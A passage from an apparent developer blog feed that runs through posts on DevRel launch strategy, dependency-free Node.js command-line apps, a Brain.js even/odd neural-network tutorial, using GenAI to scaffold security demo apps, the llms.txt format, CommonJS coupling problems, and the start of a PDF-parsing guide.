This is especially true in a fast-paced environment like AI and a good example of this is MCP. It’s beyond any doubt that MCP today is a huge trend. If there’s business value for you there then embrace the trend, build the MCP server and launch it now. And when I say “launch” I mean post it now on social. Post the announcement blog. Post it wherever your GTM and customer profile is getting their news and updates. 2 months from now is too late. Too late to the point where MCP isn’t news anymore. In fact, even now MCP isn’t the latest because Google announced their A2A - Agent to Agent framework. Entirely agnostic to MCP but now it’s the new kid on the block and you’ll be announcing your “new” MCP server when everyone else will be chatting about A2A implementations.

Launch events are going to have you chasing the trend. Stop that and ride the trend train.

How to Launch?

Focused, frequent, and fast-paced launches (FFF).

Focused: your launch should be focused on a single feature or storyline. Don’t try cramming a whole backlog pile of epics or cross-platform story. Leave those for bigger events and announcements. That feature is experimental? under a feature flag? that’s fine, launch it, grab feedback, iterate on it.
Frequent: don’t think of launches as a bi-annual event or something that needs the stars aligned to happen. You’ll miss opportunities and you’ll miss the momentum. Launches should be happening as-fast as you are providing values to your users. If you don’t feel you have enough value to launch, it should be a signal of whether you are actually providing value to your users.
Fast-paced: don’t hold off, don’t wait for some adjacent event to happen. You have something you can demo? Launch it now. Grab attention over mindshare and marketshare (thank you Manoj for coining those!). Being quick at it also narrows the window of opportunity for competitors to catch up with you, but more so, forces you to avoid an over-engineered launch theater and instead focus on actual GTM launch tactics that provide the highest ROI.

Examples of this are deep AI companies who continuously launch and innovate:

Anthropic’s X account is enough to follow to see all the innovation they are pushing: https://x.com/AnthropicAI/status/1925633118104416587
Eleven Labs is another great example: https://x.com/elevenlabsio/status/1934624075067928578

Another example reference to call out is product managers evangelizing the product as part of the launch (and I expand more on this later). Following is Cat from Anthropic AI working on Claude Code:

You can now connect to remote MCP servers from Claude Code, letting you customize Claude Code to use your favorite tools.

Pull context from your tools directly into Claude Code without context switching. pic.twitter.com/Xzq9hWwGhW
— cat (@_catwu) June 18, 2025

2. User interviews

I’m a big fan of talking to users. How else are you going to get product feedback? Sure, product metrics and analytics help but they tell you “what is happening”, not “why is it happening”.

A product metric might show you a trending down number of users for the “Implement with AI” button but it doesn’t tell you why and you can end-up drawing wrong conclusions based on that data point alone. For example, which of the following is the cause for the down trend in users:

A. It takes too long for implementation code to be presented
B. Implemented code is not working as expected
C. Implemented code doesn’t fit the right context
D. Half of the time nothing happens and get an error message

Any of these is a valid concern for the down trend but which exactly is the root cause? You need to dig deeper and ask the user.

In the old days, you’d schedule user interviews with developers in your customer-base. Good luck waiting for that to happen until your product champion is available for a chat, until they find someone on a dev team willing to talk to you, etc, etc and you just waited like 6 weeks until your first call. Cold outreach via email to invite users is also a common practice but often takes time until you get a response. Why? because the company newsletter goes out monthly, so you’re already waiting 4 weeks until your ask is out, then wait some more until someone actually follows through on it, and then even more wait time until a call is scheduled, and so on. Like I said, this doesn’t work. This is web 2.0 thinking.

How to do user interviews?

What’s a better way to approach user interviews? All your old ways of product interview calls are in a “pull” mode. Flip the script. Go “push” mode and actively engage.

An incredibly good example of that are product managers from Vercel who actively post on X / Twitter and poll and ask the community to share their thoughts and ideas. They’re not waiting for you to call them. They’re actively engaging with the community and getting their feedback. This is a great way to get product feedback and it’s also a great way to build a community around your product.

Example reference 1:

Ask me anything about @nextjs or @vercel
— Lee Robinson (@leerob) February 14, 2025

Example reference 2:

What's missing? (Serious, soliciting feedback). Even if you don't use Shortcuts, what do you wish you could automate with a terminal that isn't present here? pic.twitter.com/Qkzk0k35PH
— Mitchell Hashimoto (@mitchellh) June 19, 2025

3. Marketing can’t fix product

No amount of DevRel (or developer marketing, if you will) will solve a broken product or one that isn’t providing value to your users.

Lee Rob from Vercel said “Marketing can’t fix a broken product” and he’s absolutely right. Specifically for developer relations activities, a genuine and authentic relationship with the developer community is grounded in providing a product value. Broken product in any shape or form, such as poor user experience, poor developer experience, or just a total lack of value that developers can extract from using the product, will simply create frustration and a disconnect between the product and the developer community (or the developer relations team).

How to fix product marketing?

Listen to your users. Ask them. What are they trying to solve? what is the primary pain point and how is the product solving that?

Don’t gaslite developers. Assume critical thinking and don’t just dismiss user frustration with “it’s in our backlog” or “we are zoned in on enterprise users and this isn’t a problem for them”, otherwise don’t be surprised that you’ve lost the trust and brand loyalty of your developer community.

Example reference 1, Isidor Nikolic from Microsoft’s VS Code team, replying to users:

Hi - vscode pm here. This blog should help https://t.co/hhQoPAiwsx
If you have any questions do let me know.
— Isidor Nikolic (@IsidorN) May 20, 2025

4. Product managers fail to engage with users

Product work is a lot, often surrounded by meetings, planning, slides, cross-functional team roadmap and data analysis. None of that is inherently bad or wrong but if product managers does not actively, frequently and consistently engage with users, they will lose touch with reality of which your users are facing.

Are your product managers stuck in a bubble? the worst is a product manager building into an echo chamber of their own ideas and assumptions, late to the game to realize the product is already a year too late into the market and current workflows.

How to fix product engagement?

Forget scheduled meeting with customers. Forget the design team doing user interviews. Forget watching website recorded visual interactions. All of them are valid but not as impactful as direct engagement with users.

Go to where your users are. Ready to take it up a notch? become the product ambassador and influencer.

In the case of developers, this is mostly X (Twitter), relevant Reddit subs, Discord and slack spaces. Better yet if you can also show up in person at meetups, user groups and conferences to an extent.

Example reference 1, Dina Kozlov from Cloudflare’s developer platform team:

Two new gifts from @Cloudflare for the MCP community:

🎁 use-mcp: a React hook that makes it easy to connect any web app to remote MCP servers in just 3 lines of code

🛝 AI Playground, open-sourced: a chat interface with built-in LLMs + MCP support that you can deploy yourself! pic.twitter.com/hAh2ft52LP
— dina kozlov 🐀 (@dinasaur_404) June 18, 2025

Example reference 2, Lee Rob from Vercel:

Want to build a SaaS app where users can have custom domains?

Learn how you can use Next.js to handle subdomains (leerob.acme.com) with our updated starter template and guide. pic.twitter.com/VhQfuvcOT0
— Lee Robinson (@leerob) May 13, 2025

Example reference 3, Pierce Boggan from Microsoft’s VS Code team:

Now in @code Insiders: Define custom modes with their own prompts and tools. Create your own with `Chat: New Mode File` command. pic.twitter.com/fYwA6hpP8t
— Pierce Boggan (@pierceboggan) June 5, 2025

Dependency-free Command-Line Apps powered by Node.js core modules

Thu, 17 Apr 2025 00:00:00 GMT

As a Node.js developer, I’ve often grappled with the notorious “node_modules black hole” that seems to swallow up gigabytes of disk space. But what if I told you that we could build powerful command-line apps without a single third-party dependency? Let’s dive into the world of dependency-free Node.js applications using only core modules.

The Dependency Dilemma

Ever found yourself wondering why your simple Node.js project suddenly weighs more than your operating system? You’re not alone. The JavaScript ecosystem’s love affair with npm packages has led to some pretty hefty node_modules directories. But here’s the kicker: Node.js has been quietly beefing up its core modules, giving us the tools to break free from this dependency cycle.

Colorful Console Output: No Extra Packages Required

Remember the days when we’d reach for chalk or colors to add a splash of color to our console output? Well, those days are behind us now. Node.js core has got our back with some nifty built-in features.

Red Alerts and Yellow Warnings

Did you stumble on to one of the Node.js releases where it automatically colored the output of console.error() in red and console.warn() in yellow? It’s like having a traffic light system for your console!

console.error('Oops! Something went wrong!');
console.warn('Heads up! This might cause issues later.');

If you ran this code, you’d see the error message in bold red and the warning in yellow. No extra imports, no additional dependencies. It’s just Node.js doing its thing.

However, not everyone are happy with this change:

i missed that node now makes console.error() text red and console.warn() text yellow by default

kind of shocked that such a bad change landed at all, let alone as a non-breaking change
— ًColin Ihrig (@cjihrig) July 1, 2024

So indeed that change was reverted in a later Node.js release.

Still, what if you want more control over your colors?

Custom Colors with `styleText()`

Say hello to the styleText() API. Here’s how you can use it to add some purple prose to your console:

const { styleText } = require('node:util');

console.log(styleText('purple', 'Learn Node.js Security!'));

This will output the text “Learn Node.js Security!” in a lovely shade of purple. It’s like having a mini design studio right in your terminal!

Parsing Command-Line Arguments: Goodbye, Commander.js?

Now, let’s talk about parsing command-line arguments. In the past, we might have reached for packages like Commander.js (which, by the way, is downloaded a staggering 135 million times a week). But guess what? Node.js now has a built-in solution: util.parseArgs().

Here’s a quick example of how you might use it:

const { parseArgs } = require('node:util');

const options = {
  name: { type: 'string', short: 'n' },
  verbose: { type: 'boolean', short: 'v' }
};

const { values, positionals } = parseArgs({ options });

console.log(`Hello, ${values.name || 'Anonymous'}!`);
if (values.verbose) {
  console.log('Verbose mode activated!');
}

Now you can run your script with arguments like this:

node script.js -n Alice -v

And it’ll parse those arguments without breaking a sweat. No extra dependencies required!

Debugging Made Easy: `util.debuglog()`

Last but not least, let’s talk about debugging. The debug npm package is insanely popular, with over 240 million weekly downloads. But did you know that Node.js has a built-in alternative? Meet util.debuglog().

Here’s how you can use it to add conditional debug output to your app:

const util = require('node:util');
const debugLog = util.debuglog('myapp');

function doSomethingComplex() {
  debugLog('Starting complex operation...');
  // ... complex code here ...
  debugLog('Complex operation completed.');
}

doSomethingComplex();

By default, this won’t output anything. But if you run your script with the NODE_DEBUG environment variable set to myapp, you’ll see the debug messages:

NODE_DEBUG=myapp node script.js

It’s like having a secret debug mode that you can activate whenever you need it!

Wrapping Up

So there you have it! We’ve covered colorful console output, command-line argument parsing, and conditional debugging - all without a single npm install. By leveraging these core Node.js modules, we can create powerful, lightweight command-line apps that don’t need an entire node_modules directory to function.

Next time you start a new Node.js project, take a moment to explore what the core modules have to offer. You might be surprised at how far you can get without reaching for third-party packages. Who knows? You might just find yourself building dependency-free command-line apps powered by Node.js core modules more often than you think!

Getting started with Neural Networks in JavaScript

Fri, 07 Mar 2025 00:00:00 GMT

Much of the tooling and educational content around machine learning is focused on Python and its ecosystem. Rightly so, to an extent, given that data scientists and machine learning engineers have been immersed with Python related tooling for a long time. However, as someone coming from the JavaScript ecosystem, I wanted to get started with machine learning using JavaScript.

About 12 years ago, while at HPE Software, I underwent through a machine learning course which was super fun. We learned the basics and coded some exercises like KNN algorithm from scratch. It was a nice experience and at the time it wasn’t surprising that we got exposed to this as engineers at HPE Software. Back then, the buzzword was “Big Data” and HPE had dipped its toes into this space with products like Vertica and others.

Fast forward to 2025 (well, technically, November 2022) and artificial intelligence, machine learning, and neural networks are everywhere.

Can we bring this magic into JavaScript? A little library called Brain.js makes it possible.

In this post, I’ll just put the fundamentals that helped me get started so you can grab the basics too and get started playing with this.

Key Concepts in Neural Networks

Hardly is this going to be an expert or good enough coverage of key concepts in machine learning, so I highly recommend you perhaps start here but then go through other resources to get a deeper understanding.

In a nutshell, the following are a few key concepts you’ll need to know in particular because they are part of the building blocks of the Brain.js library so you will be interacting with these concepts directly.

Neurons and Hidden Layers

A neuron is one of those fundamental building blocks of neural networks. The simplest and most reductive way to think of a neuron is that it represents a value. That’s really oversimplifying it and technically inaccurate too. To expand a bit more about it, think - how would that neuron get a value? If it gets a value, would it do something with it? This helps unveil the very basic idea of a neuron. A Neuron is a sort of computational unit that takes in some input, applies a mathematical function to it, which produces an output.

If a neuron is the very basic building block, a node if so to say, then a layer is a collection of neurons. Many such layers then make up for what is the neural network. In a classic representation of a neural network you can divide it to three parts - the input layer, the hidden layers, and the output layer. Visually it would look something like this:

Input Layer:   0 0 0.9 0 0.4 0 0.2 0 0
    |             \ | | | | | | /
Hidden Layer:   0.1 0.3 0.5 0.2 0.1
    |              / | | | | | \
Output Layer    0.1 0.2 0.3 0.4 0.5

The Hidden Layer part is where a lot of the “magic” happens. In simple terms you can think of it in a way that the more hidden layers you have, the more complex the neural network can be. The more “intelligence” or “room for understanding and learning” you can give to the neural network. Sometimes, if you try to train and test a neural network with not enough neurons or hidden layers, the network will simply be unable to learn. It’s like trying to program a calculator that adds numbers from 1 to 1 million but you only provide it with an integer size of 8 bits. It technically can’t do it.

Forward and Backward Propagation

Ok so, neurons hold values, layers hold neurons and the role of the neural network is to learn. How does it learn? This is where forward and backward propagation come in.

Think of a person at a bowling night. They throw the ball and it needs to hit the pins. Perhaps the first throw is going to be off the mark and hit the side rails. What does the person do? They adjust their aim accordingly, perhaps pivot their hand a bit to the right, and throw again. This time they hit, but only 3 pins. They adjust again, maybe this time they also adjust the force of the throw. Did it help or did it make it worse?

    0
    |
   / \

    O
   / \
  /   \
 /     \
/       \
|       |
|       |
|       |
|       |
|       |
| | | | |
| | | | |
| | | | |
| | | | |

This is the learning process that we humans go through. A neural network follows this process through a method that it calls forward propagation and backward propagation. The forward propagation is the process of taking the input, passing it through the neural net, firing the neurons with some input, and getting an output. What was the output? did it match the expected output? If not, the neural network needs to adjust its weights. This is where the backward propagation comes in - it is the process of taking the output, comparing it to the expected output, and adjusting the weights of the neurons in the network.

Training a Neural Network

The learning process of forward and backward propagation that we described above is repeated many times until the neural network is able to produce the expected output. This process is called training a neural network. The neural network is trained on a dataset that has input and output pairs. The neural network is trained to produce the output given the input. The more the neural network is trained, the better it gets at producing the expected output.

Getting started with Brain.js for Neural Networks in JavaScript

If you’re on a Linux machine you’ll likely need to install the following dependencies because the Brain.js library uses native bindings:

sudo apt-get update
sudo apt-get install -y libgl1-mesa-dev
sudo apt-get install -y libxi-dev libx11-dev libxext-dev

For more detailed install instructions you can refer to the Brain.js GitHub repository.

Next, make sure you have allowed npm installs to run scripts. This is because the Brain.js library uses a script to compile the native bindings. You can do this by running:

npm config set ignore-scripts false

Then you can continue with installing the Brain.js library:

npm install brain.js

Creating a Neural Network with Brain.js

Many of the examples for Brain.js and neural networks show a simple example to predict the output of a XOR operation. Let’s try something different.

Let’s train a neural network to learn to go beyond XOR with a simple, yet valuable, example using Brain.js: Predicting if a number is even or odd.

What would be your input for the neural network? We’ll represent numbers through their binary representation. So, for example, the number 3 would be represented as 0011 and the number 4 would be represented as 0100. So our input could be represented as follows:

const trainingData = [
  { input: [0, 0, 0, 0], output: [1] }, // 0 (even)
  { input: [0, 0, 0, 1], output: [0] }, // 1 (odd)
  { input: [0, 0, 1, 0], output: [1] }, // 2 (even)
  { input: [0, 0, 1, 1], output: [0] }, // 3 (odd)
  { input: [0, 1, 0, 0], output: [1] }, // 4 (even)
  { input: [0, 1, 0, 1], output: [0] }, // 5 (odd)
  { input: [0, 1, 1, 0], output: [1] }, // 6 (even)
  { input: [0, 1, 1, 1], output: [0] }, // 7 (odd)
  { input: [1, 0, 0, 0], output: [1] }, // 8 (even)
  { input: [1, 0, 0, 1], output: [0] }, // 9 (odd)
  { input: [1, 0, 1, 0], output: [1] }, // 10 (even)
  { input: [1, 0, 1, 1], output: [0] }, // 11 (odd)
  { input: [1, 1, 0, 0], output: [1] }, // 12 (even)
  { input: [1, 1, 0, 1], output: [0] }, // 13 (odd)
  { input: [1, 1, 1, 0], output: [1] }, // 14 (even)
  { input: [1, 1, 1, 1], output: [0] }, // 15 (odd)
];

As you can see we’re showing the neural net “what good looks like”, so we provide it with the input of a binary representation of a number, and what I expect it to provide back as an output: 1 for even, 0 for odd.

The neural net, however, isn’t going to reply back with 1 or 0 though, it’s going to reply back with a number between 0 and 1 that represents the probability of the number being even or odd. We can then round this number to get the final result, or more accurately, we’d check if the threshold is closer to 0 or 1, to base our decision on.

How would we test the neural net? We will provide it with some number, say 5 (well, its binary representation 0101), and see what the neural net predicts. However, you might wonder, what’s the point of this? what’s the magic? we already told the neural network that 5 is odd. Yes?

So, I suggest maybe we remove some of the training data and see how the neural net performs. Consider the following:


// 1. Prepare training data
const trainingData = [
  { input: [0, 0, 0, 0], output: [1] }, // 0 (even)
  // { input: [0, 0, 0, 1], output: [0] }, // 1 (odd)
  // { input: [0, 0, 1, 0], output: [1] }, // 2 (even)
  { input: [0, 0, 1, 1], output: [0] }, // 3 (odd)
  { input: [0, 1, 0, 0], output: [1] }, // 4 (even)
  // { input: [0, 1, 0, 1], output: [0] }, // 5 (odd)
  // { input: [0, 1, 1, 0], output: [1] }, // 6 (even)
  // { input: [0, 1, 1, 1], output: [0] }, // 7 (odd)
  // { input: [1, 0, 0, 0], output: [1] }, // 8 (even)
  // { input: [1, 0, 0, 1], output: [0] }, // 9 (odd)
  { input: [1, 0, 1, 0], output: [1] }, // 10 (even)
  { input: [1, 0, 1, 1], output: [0] }, // 11 (odd)
  // { input: [1, 1, 0, 0], output: [1] }, // 12 (even)
//   { input: [1, 1, 0, 1], output: [0] }, // 13 (odd)
//   { input: [1, 1, 1, 0], output: [1] }, // 14 (even)
//   { input: [1, 1, 1, 1], output: [0] }, // 15 (odd)
];

Next, let’s not forget to import the Brain.js dependency:

const brain = require('brain.js');

Ok, so now let’s go on. Next step is to create the neural network:

// 2. Create the neural network
const net = new brain.NeuralNetwork({
  // 8 neurons in the layer
  hiddenLayers: [8],
})

Note: we’ll get back to the hidden layer configuration here but I specifically didn’t leave the default. As an exercise, you should play with the hidden layer and try to expand on providing more neurons and more layers. How does the neural network perform when you set hidden layers to [8,8,8,8,8,8,8,8,8,8,8] for example?

The above neural network is initialized using defaults, including an activation function and other parameters. Now we’re ready to train:

// 3. Train the network
net.train(trainingData);

This is a CPU-bound synchronous process that happens in the Node.js main thread. You can also read the training data result from the returned object to get some statistics about the training process.

Finally, let’s test the network:

// 4. Test the network
function testNumber(number) {
  const binary = number.toString(2).padStart(4, '0').split('').map(Number);
  const result = net.run(binary);
  const isEven = result[0] > 0.5;
  const correctNess = isEven === (number % 2 === 0);
  console.log(`${correctNess ? '✅' : '❌'} Number: ${number} (Binary: ${binary}) - Even: ${isEven} (Accuracy: ${result[0]})`);
}

testNumber(1);
testNumber(2);
testNumber(3);
testNumber(5);
testNumber(15);
testNumber(4);
testNumber(7);
testNumber(10);
testNumber(13);

In the testNumber() function we convert the number to the binary representation of it as is aligned with the same format of the training data. Then run the neural network, and then check if the result is above 0.5 to determine if the number is even or odd. We then compare this to the actual number to see if the neural network was correct.

Just like that, you’ve created a neural network that can predict if a number is even or odd. You can expand on this by providing more training data, or by changing the hidden layers and neurons in the neural network.

If you want to continue from this point on with a full reproducible example, see my git repository at https://github.com/lirantal/neural-network-predicts-even-or-odd.

How I use GenAI to Speed Up Demo Apps in My DevRel Role

Sun, 02 Mar 2025 00:00:00 GMT

Often the questions posed to software developers is whether AI will replace them. If you’re a developer advocate or in the field of Developer Relations (DevRel) then you’ve most probably thought about this too - will AI replace you? make you expandable?

The key, really, is to fundamentally leverage GenAI to speed up your work and make you more productive. This is true whether you’re an engineer or a developer advocate. As the saying goes:

“AI will not replace you. Developers who use AI will replace developers who don’t.”

Indeed, this applies too for DevRel. Let me show you a practical example from my day-to-day.

Using GenAI to Make Developer Advocates More Productive

I’m a Developer Advocate at a security company (snyk.io) and I often need to create demo applications to showcase security vulnerabilities. These are deliberately vulnerable apps that we build in Java, JavaScript, Golang and other languages and frameworks for education purposes.

As you can imagine, a lot of work is spent on building these demo apps. Here’s a nutshell of what goes into it:

Prep and research: what sort of vulnerabilities? what’s the use-case?
Storyline: what is a realistic example that developers can relate to?
Proof-of-concept: building the core of the exploitation and making sure it works so that it creates the basis for the demo app
Building the demo app: this is where the actual app is built and where the exploitation is showcased
Make it fun: hopefully, make the app look actually fun and engaging, using proper frontend and not some boring UI
Make it reproducible: make sure that the app can be easily deployed and run by anyone in my DevRel team, SEs, or by the community
Document it: properly document the how-to for the exploits
Spread the word: write a blog post, create a video, and make sure that the app is well-documented

What if I told you that out of that list, which is a lot but there’s even more that goes into it, I really only need to focus on a couple of to-do bullets and the rest can be automated by LLMs and GenAI?

Follow me for a practical, real-world example where I employed the above strategy to build a demo app that showcases a security vulnerability in image analysis and prompt injection in a Node.js app.

Step 1: Ideate the Use-Case and Fun Demo

This is my starting point. I often either see something in the news, community, social feed or other interactions that sparks an idea. In other times, I just sit down and think what would make a fun use-case to demo. You can use AI to brainstorm this too but I often find it more authentic when the idea comes naturally (or from subconsciously browsing the web and prior engagements).

So, I ideate what would be the use-case and fun demo to showcase a type of security vulnerability (in this case it’s an LLM hacking showcase)

Step 2: Proof-of-Concept

Once I locked down an “idea”, I iterate on the proof-of-concept which is the core of the program and I want to make sure that I’ve got a working example. This is where I spend most of my time because it requires effort in research, prompt injections, and various methods to find the “path” to a successful working demo.

That successful moment when everything just works! The vulnerability is exploited, the prompt injection is successful and I can see the results in the console. Yay! 🙌

Step 3: Building the Demo App

Ok so I’ve got a story, an idea, an actual proof-of-concept of the underlying insecure code and insecure code flow that would lead to a security vulnerability and break the app. Now I need to build the actual demo app.

I bet many developer advocates and engineers spend a ton of time on, for honestly in my opinion, not a good reason. Here are all the stuff you can get stuck with:

Which framework should I use? React, or Vue? Should I try the new Svelte?
I need to dig into the docs and see how to set up a new project
How do I scaffold a new project? should I use a ready-made template on GitHub? use the framework’s own CLI?
Which UI component library to choose from?
How do I get all of the different libraries put together and configured: Shadcn, TypeScript, the metaframework, etc

And much more messy details that go into building an application. But what if I can just settle on the high-level requirements and let GenAI do the rest?

This is where the new generation of application scaffolding and Generative AI comes in! I’m not talking about Cursor or Zed. I’m not talking about prompting IDEs or ChatGPT. I’m talking about a new breed of blended IDEs for low-code development that is fine-tuned at the intersection of AI and software development.

A prime example of that is Bolt which is a Generative AI tool from the folks who built StackBlitz.

I prompt Bolt, asking it to scaffold a new Node.js app with Nuxt.js and it does all the heavy lifting for me. It sets up the project, installs the dependencies, and even gives me a working example that I can then build upon.

I can specify the pages I want, the routing, which components are needed (for example an upload file component), and even the styling. I don’t need to worry about API endpoints, or how to setup the new Nuxt project. It’s all done for me.

Conclusion

I’ve used the demo app that Bolt scaffolded as a template to get started with and just baked on it my proof-of-concept code. You can take a look here if you want to learn more: https://github.com/lirantal/event-ticket-admission-with-ai

What is an LLMs.txt File?

Fri, 28 Feb 2025 00:00:00 GMT

Large Language Models have made it into mainstream fields of technologies, beyond code generation, beyond documentation and quite significantly into many sorts of human-computer interactions. How do we give these LLMs more true context so that they do not hallucinate? so that these models, whether GPT-4o, Claude 3.7 Sonnet, or any other, can be more reliable, trustworthy vessel of information? Meet the llms.txt file format.

What is the LLMs.txt file?

The llms.txt file is a newly proposed standard that is intended to provide large language models with relevant context and metadata in the form of a simple text file (it may be formatted as plain-text markdown ascii).

What are the use-cases for LLMs.txt file?

Originally, the llms.txt file was intended to be used in the context of allowing AI-based agents processes to more easily scrape data off of websites so that these self-learning and autonomous agents do not need to deal with HTML parsing, loading JavaScript and any other web scraping struggles. Instead, websites can provide a simple llms.txt file that contains the relevant context for each page, and LLMs can easily and quickly digest them without requiring further compute for parsing.

LLMs.txt for Websites

Due to the directory structure of websites, you can generate and plant llms.txt files in the root directory of your website but also they can be placed in documentation subdomain to allow GenAI code assistants to better embed and create the context for code snippets and suggested code examples. Some examples of these websites include:

The Turbo build tool: https://turbo.build/llms.txt
Anthropic’s documentation: https://docs.anthropic.com/llms.txt
Dotenv’s all around favorite Node.js environment variable management tool: https://dotenvx.com/llms.txt
CrewAI agentic framework docs: https://docs.crewai.com/llms.txt

We’re already seeing emerging llms context related tools such as llmstxt python project that compresses files into a single, LLM-friendly text file designed to get codebases ready for analysis by Large Language Models.

What’s next for LLMs.txt?

Given that contextual information is at the core of LLM integrations and agentic frameworks, are we going to see llms.txt in different shapes and forms, making it to more than just websites?

I personally think so. Some ideas that come to mind are to put llms.txt files in the following hubs as a starting point:

GitHub repositories
DockerHub images
The npm registry

LLMs.txt Directory

With the newly proposed llms.txt file standard, new directories have been emerging that index the llmstxt file format and allow to search and discover websites that have embraced this new file format. Some of which are:

LLMs.txt Hub: https://llmstxthub.com/
LLMStxt Site: https://llmstxt.site/

Next up

LLMs are more ubiquitous than ever, but if you don’t want to risk privacy or spend, learn how to run a local LLM for inference with an offline-first approach.

The CJS module system, globals and other hardships with maintainable code in Node.js

Wed, 19 Feb 2025 00:00:00 GMT

In the next set of examples we will review some common scenarios of tight coupling in Node.js applications and the challenges they present.

These are pretty common code pattern I’ve seen in many Node.js “seed” applications - source code repositories that are meant to provide you with a starting point for your application. I’ve also seen many Node.js tutorials and blog posts that follow this code pattern for database access in their examples.

In this article, we will review the following prime examples of tight coupling in a Node.js codebase:

Using global variables: Global variables are a common source of tight coupling in Node.js. When a variable is declared as global, it is accessible to all parts of the application. This can make it difficult to track down the source of a problem and can make it difficult to test the application.
Hardcoding dependencies: Hardcoding dependencies means specifying the dependencies of a class or function explicitly. This can make it difficult to change the dependencies of the class or function without modifying the code.
Using singleton patterns: Singleton patterns create a single instance of a class that is accessible to all parts of the application. This can make it difficult to test the class and can make it difficult to change the implementation of the class without affecting other parts of the application.

Scenario 1: hard-wired database dependency in a repository

In the following example, we have a UserRepo class that is responsible for fetching users from a database. The UserRepo class is tightly coupled to the database connection:

// FILE: user.repository.js
// ========================
const db = require('./db')

export class UserRepo {
  constructor () {};

  getUsers (): Promise<User[]> {
    return db.query('SELECT * FROM users');
  };
};

A classic follow-up usage of this repository is when a service or a controller requires the user.repository.js file and uses it to fetch users from the database. Here’s an example of a Fastify route definition that does so:

// FILE: user.route.js
// ========================
import { UserRepo } from './user.repository.js'

fastify.get('/users', async (request, reply) => {
  const userRepo = new UserRepo();
  const users = await userRepo.getUsers();
  return reply.status(200).json({ users });
});

What is the problem with the above code?

Requiring, or using, the UserRepo class impoliticly requires the database connection that is hard-wired in the UserRepo class. This means that if we want to change the database part of the repository, we will have to change the UserRepo class as well, or find ways around it.

Next, you are faced with the following test code example for the Fastify route:

// FILE: test.js
// ========================
const test = require("node:test");
const assert = require("node:assert");

test("users route returns a list of users ", async (t) => {

    const fastify = require("fastify")();
    const route = require("./user.route.js");

    fastify.register(route);

    const response = await fastify.inject({
        method: "GET",
        url: "/users",
    });

    assert.strictEqual(response.statusCode, 200);
});

For this test to run successfully it needs a database due to the hard-wired database dependency in the UserRepo class. However, it’s common to avoid requiring the real the database connection as-is bootstrapped with the application for different reasons:

the database connection is configured to use your local testing database, where-as you want to configure another database for executing tests.
you want to skip the database connection altogether, and use a mock database connection instead.

What is the common solution to work around the hard-wired database dependency?

Using packages like sinon, proxyquire or rewire to change the db dependency in Node.js internal module cache that exchanges the db.js file with a mock of the database.
Spinning up a real database for the test using Docker containers or other means.

Scenario 2: Global modules in Node.js

The CommonJS module system in Node.js acts as a singleton. This means that when you require a module, the module is cached and the same instance of the module is returned every time you require it.

This is a common pattern in Node.js applications, where a module is required once and then used throughout the application. For example, a database connection module is required once and then used throughout the application to execute queries against the database.

However, this pattern proves again to be problematic and is a source of tight coupling in Node.js applications. Let’s untangle the problem with an example that revolves around configuration.

The CJS module system is an example of a module system that can lead to tight coupling. In the cjs module system, modules are loaded as global objects. This means that any module that imports another module will have direct access to the exported objects of the imported module. This can make it difficult to test the modules and can make it difficult to change the implementation of the modules without affecting other modules.

In this example Node.js application, we have a route that returns the weather for a city. The route uses a service to make an API call, and the service relies on accessing a configuration module to receive the URL for the API call.

Here’s the Fastify route definition which makes use of the getWeather call:

// FILE: route.js
// ========================
const { getWeather } = require("./service");

async function routes(fastify, options) {
  fastify.get("/", async (request, reply) => {
    const city = request.query.city;
    const weather = await getWeather({ city });
    return reply.send({ weather });
  });
}

module.exports = routes;

The getWeather function is defined in the service.js file which accesses the configuration module to receive the URL for the API call:

// FILE: service.js
// ========================
const config = require("./config");
const weatherApiUrl = config.WEATHER_API_URL;

module.exports.getWeather = async ({ city }) => {
  // in reality this is an API call to a weather service
  // but for the sake of tests we will just print a console log
  // that shows the API call that is being made
  console.log(`making an API call to ${weatherApiUrl} for ${city}`);

  const weatherDatabase = {
    Seattle: "Rainy",
    Singapore: "Sunny",
  };

  const weather = weatherDatabase[city] || "Unknown";

  return weather;
};

Lastly, the configuration module is defined in the config.js file which is a highly common pattern I’ve seen in many Node.js applications - a configuration module that creates a configuration from static json files, environment variables or other means and then export an object that is created once and then used throughout the application.

The config.js file:

// FILE: config.js
// ========================
const config = {
  WEATHER_API_URL: "https://api.example.com/weather",
  PORT: 4000,
};

module.exports = config;

Now, consider the following test code for the Fastify route:

// FILE: test.js
// ========================
const test = require("node:test");
const assert = require("node:assert");


test("the weather API should return the current weather but don't call the real API because its expensive", async (t) => {
  const config = require("./config");
  config.WEATHER_API_URL = "https://api.example.com/FAKE-WEATHER-API";

  const fastify = require("fastify")({ logger: false });
  const route = require("./route");

  fastify.register(route);

  const response = await fastify.inject({
    method: "GET",
    url: "/?city=Seattle",
  });

  // use the assert module to verify the server's response
  assert.strictEqual(response.statusCode, 200);
  assert.strictEqual(response.payload, '{"weather":"Rainy"}');

  fastify.close();
});

In this test, we don’t want to make an actual API call to the weather service, because it’s expensive. Instead, we want to mock the API call and return a fake weather response.

However, if you run the test, you’ll see that it still logs the API call to the real weather service with a log entry in the test suite as follows:

Making an API call to https://api.example.com/weather for Seattle

What is actually happening is not entirely config.js fault.

The service.js file, is a module too, and is also globally cached within the Node.js internal module cache. Taking a quick look again at the service.js file, we can see that the weatherApiUrl constant is defined in the global code of the file:

const config = require("./config");
const weatherApiUrl = config.WEATHER_API_URL;

module.exports.getWeather = async ({ city }) => {}

As you can see, we’ve accessed the configuration and defined the API URL constant within the global module code of the service.js file which means that now the weatherApiUrl is cached too.

The “module” terminology in Node.js is quite confusing here because of the singleton pattern that the CommonJS module system adheres to which creates an effect of “globals” in the application.

What to do next to avoid tight coupling in Node.js applications

It’s easy to give in and write quick and functional code that works, but it’s much harder to write code that is maintainable and easy to change. Your future self will thank you for writing code that is more cohesive, testable, and over well well designed.

Strive to write code that is loosely coupled. This means that the code should be easy to change without affecting other parts of the application. This is a common principle in software engineering and is often referred to as the Open/Closed Principle. The Open/Closed Principle states that software entities (classes, modules, functions, etc.) should be open for extension, but closed for modification.

Those two words that have been lingering in your head for the length of this article - dependency injection - are the key to writing maintainable code in Node.js applications, but that is a whole other topic for another article.

How to Read and Parse PDFs with PDF.js and Create PDFs with PDF Lib in Node.js

Sun, 02 Feb 2025 00:00:00 GMT

You probably caught up on the title that we are going to mention two different npm packages to handle manipulation of PDF files in Node.js. That’s because the more popular option and the one that is more widely used and maintained - pdf-lib is unfortunately unable to read data off of PDF files and only allows creating new PDFs or modify existing ones by adding pages, images, creating forms and such.

So we’re going to split this write-up into those two parts and the respective npm packages that will be used for each task:

